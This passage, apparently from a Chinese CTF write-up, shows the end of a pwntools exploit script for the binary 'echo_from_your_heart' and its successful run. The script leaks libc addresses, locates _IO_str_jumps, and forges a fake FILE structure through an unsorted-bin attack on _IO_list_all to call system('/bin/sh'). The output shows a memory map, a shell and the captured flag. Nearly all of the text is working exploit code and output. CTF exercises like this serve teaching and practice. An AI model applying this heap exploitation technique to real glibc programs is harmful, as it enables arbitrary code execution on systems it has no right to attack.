libc_start_mian = address_list.split(b"0x")[-1][0:12]
libc_start_mian = int(libc_start_mian,16) - 240
log.success("libc_start_mian -> "+hex(libc_start_mian))
obj = LibcSearcher("__libc_start_main",libc_start_mian)
libcbase = libc_start_mian - obj.dump("__libc_start_main")
print(hex(libcbase))
system_addr = libcbase + obj.dump("system")
log.success("system_addr -> "+hex(system_addr))
str_bin_sh_addr = libcbase + obj.dump("str_bin_sh")
log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr))
payload = b"b"*0xf58
mian_fun(0xf70,payload)
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset))
io_str_jumps = libcbase + possible_IO_str_jumps_offset
log.success("io_str_jumps -> "+hex(io_str_jumps))
break
io_list_all = libcbase + obj.dump("_IO_list_all")
log.success("io_list_all -> "+hex(io_list_all))
# vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24
# vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23
# log.success("_IO_str_jumps -> "+hex(vtable_addr))
# jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps
vtable_addr = io_str_jumps
payload = b"b"*0x20
# Plan A
fakechunk = p64(0) + p64(0x61) # unsorted bin attack
fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10)
fakechunk += p64(2) + p64(3)
fakechunk += p64(0) + p64(str_bin_sh_addr)
fakechunk = fakechunk.ljust(0xd0, b"\x00")
fakechunk += p64(0)
fakechunk += p64(vtable_addr-0x8)
fakechunk = fakechunk.ljust(0xe8, b"\x00")
payload += fakechunk
payload += p64(system_addr)
mian_fun(0x20,payload)
io.sendline("1")
io.interactive()
if __name__ == '__main__':
main()
执行成功效果
...
======= Memory map: ========
555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart
555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart
555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart
555555756000-555555799000 rw-p 00000000 00:00 0 [heap]
7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0
7ffff0021000-7ffff4000000 ---p 00000000 00:00 0
7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0
7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0
7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0
7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar]
7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso]
7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x19 bytes:
b'flag{Cragratulations!!!}\n'
flag{Cragratulations!!!}
$